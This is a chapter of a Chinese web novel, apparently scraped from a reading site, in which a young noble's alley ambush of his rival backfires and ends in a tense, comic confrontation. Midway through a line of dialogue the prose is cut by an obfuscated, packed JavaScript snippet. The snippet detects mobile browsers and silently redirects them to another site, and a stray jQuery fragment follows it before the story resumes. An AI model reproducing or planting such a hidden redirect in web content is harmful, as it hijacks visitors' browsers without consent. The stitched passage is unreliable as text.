夜黑风高。
温知满临时起意要去堵季随,带了五六人拎着麻袋麻绳,扛着长棍,就往季随回季府的路上赶。
几人从纵横的窄巷中钻出来一条近路,抢在季随赶到之前,一行人等躲在季随的必经之路,打算等马车进来之后,来个前后夹击。
踏踏的马蹄声和滚动的车辕声响起,温知满探头看了一眼,认出来这是季随的马车,只待这马车再走进一些,温知满猛地挥手:“来了!瓮中捉鳖!”
说罢,在自己身侧伏着的两名侍卫蓦地扛着长棍冲了出去,温知满跟着激动地起身,只听那侍卫对着辚辚驶来的马车喊:“里面的人速速下车!”
巷子两端都有人把手,中间的小巷又太过狭窄,便于行走,但是马车不能通行。
两名侍卫冲出去之后,除了守在巷口的人,其余人或快或慢也围了上去。
温知满得意地撸了把袖子,他抬脚从遮挡自己的大缸后出来,心中等着季随出来后跪地求饶、痛哭流涕。
只是他出来一看,却发现许些不对劲,马车见有人挡道,速度丝毫没有慢下来,他甚至看见驭手又狠狠地抽了几下鞭子——
不好!
季随这个脏心烂肺的居然要直接撞开这些人!
温知满呵道:“快让开!”他没有任何迟疑,宛如离弦的箭一般冲出去想要推开那些人。
反倒是侍卫略显迟钝了些,回头不明所以地见自家主子冲了出来。
温知满手还没挨着那些侍卫,紧接着嘭得一声巨响,马车整个侧翻倒地!
嘶鸣的马踉跄的从地上站起来,身上没了马车的重量,眨眼间跑了。
温知满手指僵了僵,看着那倒地的马车,里面静悄悄的,窗棂碎了一个掉了一个,车厢即将四分五裂,车辕还在吱呀吱呀地转着,可见速度之快。
他上头的酒意一下子清醒了,脊梁攀上一层冷汗,问:“死了?”
侍卫们见状也傻眼了,手中的棍子、麻袋麻绳纷纷扔到地上:“世子爷!这事与小的无关啊!”
“是、是马受惊了……”
“呸,什么受惊!明明是马车太快撞到了石头!这事与我们无关,也与世子爷无关!”那人说完,小心地看了一眼温知满。
温知满能听见自己飞快跳动的心跳,不安、茫然一齐涌了上来,他拧了把眉心,看了眼跪在地上的小厮:“起来,拿着地上的东西去一边站着。”
温知满深吸一口气,一脚踩着车辕上前,手指紧了又松,他忽地撩开帘子,瞪着眼生怕漏看什么。
没人?!车厢是空的!
没有在车厢中看见血淋淋的季随,温知满扶着车厢喘了口气,心中松了松,绷紧地身体一松懈,腿还有些发软。
他心中有种被人戏耍后的生气,但是后怕压住了怒意,一时也顾不上生气。温知满低声说了句:“人不在车厢。”
跪在地上的侍卫眨了眨眼,低沉的气氛开始活泛起来,巷子口的人听见声响之后就赶了过来,看见这一架废了的马车,奉承道:“真不愧是世子爷,区区季随,还不是被世子爷的威压吓跑了。”
温知满从木板上跳下去,冷笑道:“你厉害的世子爷被季随耍了一通,还跑路了。”
他又恼又怕:“找人把这收拾了,回府!”
侍卫们低着头,赶紧三两人过去把路中央的东西搬到路边,就在这时,也不知道是谁喊了一声:“世子爷,那头的……是季二公子吗?”
温知满偏头一看,巷子那头站着一人,身影被如银的月色拉得修长,那身影就算化成灰了他也认得。
好啊,耍完自己还嚣张地掉头回来看看?
温知满眉心一掐,再也扼不住怒意,他狠狠说道:“给我追!”
今天他要是不揍到季随,他就不叫温知满!
不等那些人动,温知满就先抬脚追了出去,对方的速度很快,温知满的速度也不慢,侍卫紧跟在温知满身后,一群人穿梭在窄巷中。
温知满跑得眼泪都要掉出来了,胸腔仿佛是要炸了一般,口中泛起铁锈味,不知不觉中,他身后的侍卫已经在纵横交错的巷子里分散了。
温知满也迷失在了巷子里。
等他撑不住扶着墙喘息的时候,耳边除了心跳和喘息,也就是布谷鸟的叫声,四周一下子孤寂空旷了许多,他回神一看,不知道自己跟着季随跑到了哪一处荒凉地。
季随停住脚步,面前是一堵高墙截住了路,唯一的出口只有温知满身后的地方。
温知满也察觉到这点,他热得扯了把领口,激动得眼眸明亮,语气嚣张:“跑啊,有本事你跑啊!没路了吧,有本事你翻墙啊!”
季随依旧气息平稳,不紧不慢地说道:“如果我是你,我根本不会追上来。”他视线落在温知满身后,眼中嘲笑的意味十足。
温知满意识到不对劲之后,挽袖的手僵住了,即使不看季随的表情,他也能感知到对方情绪没有丝毫波动,根本就不害怕自己追他。
从今晚马车翻车,到后来的猫逗老鼠一般带着自己绕圈,一环接着一环,这人算计好了自己会追上去……
他想做什么?
温知满不知道外面有没有季随的帮手,踌躇地僵在原地,用目光警告季随不要过来。
眼见对方与自己的距离越来越近,温知满手扶着墙,头一转就往外跑,不料季随速度更快,他直接闷头撞到季随伸来的胳膊上!
他闷哼着后退,短短几息,两人的位置颠倒,温知满被季随堵在了巷子里。
季随盯着不断后退的温知满,既是说教又是嘲笑,语气一如既往地平静却难得温和:“小侯爷,这才是瓮中捉鳖。”
温知满高声道:“你骂谁是鳖?!”
他虚作声势:“我正要捉你,你快快束手就擒吧!”说罢,他上前一步,捉住季随的手臂用力一拽。
拽、拽不动?
温知满两手一起拽,季随依旧稳如泰山,纹丝不动,反倒是温知满憋红了脸。
出又出不去、拽又拽不开,小侯爷里子面子都没了,他飞快地左右看两眼,心道还好只是在季随一人面前丢脸,旁人看不到。
他麻木着脸:“起开,我要回家。”
季随看着温知满闹完,终于舍得开口:“哪有想来就来,想走就走的道理?”
温知满脑海中莫名浮现起白日季随逼近他的那一幕,外厉内茬的表情有些松动,季随就这么站着,好似也看穿了他心中所想,一动不动的身体上前逼近。
巷子越往里越黑,温知满退无可退,身影已经完全被对方的黑影罩住,衬得季随在他眼中高大嚣张。
温知满心中快速划过自己这些天的所作所为,默默掂量了一下,对方应该不会杀人灭口,复又理直气壮起来:“挤什么挤?你离我那么近做什么?你要打我?”
要打也可以,好汉不吃眼前亏。
温知满想让他打一拳然后放自己离开,可身体上哪一块肉他都不舍得,正陷入自己的思绪中无法自拔的时候,季随拉住了他的手。
温知满惊恐地想要拽回自己的手:“你拉我手做什么?”总不能砍手吧?
“啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222114|151214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
啊啊啊救命啊!有贼人要剁我的手!!”
温知满气沉丹田扯着嗓子大喊,震得季随动作一顿,紧接着对方不容置疑地抓住他的手,也不知道捏了哪里,温知满手麻了一下,手短暂地没了力气。
他心中更怕了,呼吸急促地喘着,脑子糊成了浆。
等手中碰触到一丝冰凉,温知满立即喊:“啊啊啊好疼!”
他眼睛挤出几滴泪,忽地听见面前的人轻哼一声,手上被缰绳摩擦产生的火辣感被冰凉覆盖。
淡淡的药味伴随着玉兰花的香味一起触碰鼻尖。
那人声音清冽,:“疼?”
温知满:“……”可、可恶,被嘲笑了!
“下次要是再扔药。”季随淡淡地看了一眼他。
温知满敢怒不敢言:“……”这人还威胁他?!
*
侍卫们闻声而来,一路上听闻温知满叫得如此撕心裂肺,心中骇然,到了之后,却只见那人蹲在地上,一点事都没有。
侍卫又仔细看了两眼,这位世子爷除了眼眶红些,确实屁事没有。
季随给温知满上完药之后就离开了,温知满呆滞地蹲在地上等人来,甫一见那些侍卫过来,他一脸羞愤地歪坐在地上,举着被上了药的双手。
他头一次觉得侍卫如此亲切,宛如天兵天将来救他于水火,他绷不住的泪涌了出来,顾不上面子哭诉道:“天杀的季随!抢我爱人,还掐我的手……”
虽是哭,也哭得中气十足。
侍卫放心了,也不敢再带着这位金贵的世子在外面瞎晃了,直接让人找马车把温知满送回留宣侯府。
温知满的贴身小厮长风迟迟不见人回府,怕人出意外,他等不及了就往外走,打算偷偷带些人去找一下温知满。
还没出府门,迎面撞上被侍卫扶着回来的温知满,长风瞅了眼世子爷脸上的泪痕,惊讶道:“谁惹世子了?怎么回事?!”
长风一向护住,扭头怒视跟来的侍卫,质问道:“怎么回事?!你们去做什么了?”
温知满一听,伤心事又涌了上来,一把推开扶着他的侍卫,他蹲在地上抱头痛哭,把和侍卫说过的话重新复述了一遍。
长风听了大怒:“这个季随!分明就是看不起世子爷!”
温知满察觉自己眼睛要哭肿了,吸了吸鼻子止住眼泪,瓮声道;“今天他还把我堵在院子里掐我手,就为了报复白日我摔了他一瓶药,我手不干净了。”
长风从小就伺候温知满,自然是恨屋及乌,怒目切齿道:“掐世子爷哪里了?”
他看向温知满摊开的手,误以为对方手上的红痕是季随弄的,眼眶也跟着红了起来。
“他、他居然把世子爷的手掐红了!”
温知满毫不心虚地点头:“是吧,他最初还想剁了我的手,只不过当时身上没带刀,于是就掐我手。”
砍手就有些胡扯了,长风眼角抽了一下,还是无条件支持自家主子,恨声道:“断没有让他一直欺负下去的道理!我这就去禀告夫人,找夫人为您做主!”
长风说走就走,温知满赶紧拉住他:“禀告夫人就不必了,他们只会当我胡闹,心中还向着季随呢。”
长风抹了把泪:“那总让他一直欺负下去,也不是个办法吧。”
温知满眨了眨酸胀干涩的眼,迟了片刻,拽着长风进了屋里。
“没办法就先想个办法,我不仅要报仇,还要把程连云追到手,程连云这次要是再被他抢走,小爷我在京城也不要混了。”
他温知满此仇不报,就给季随当孙子。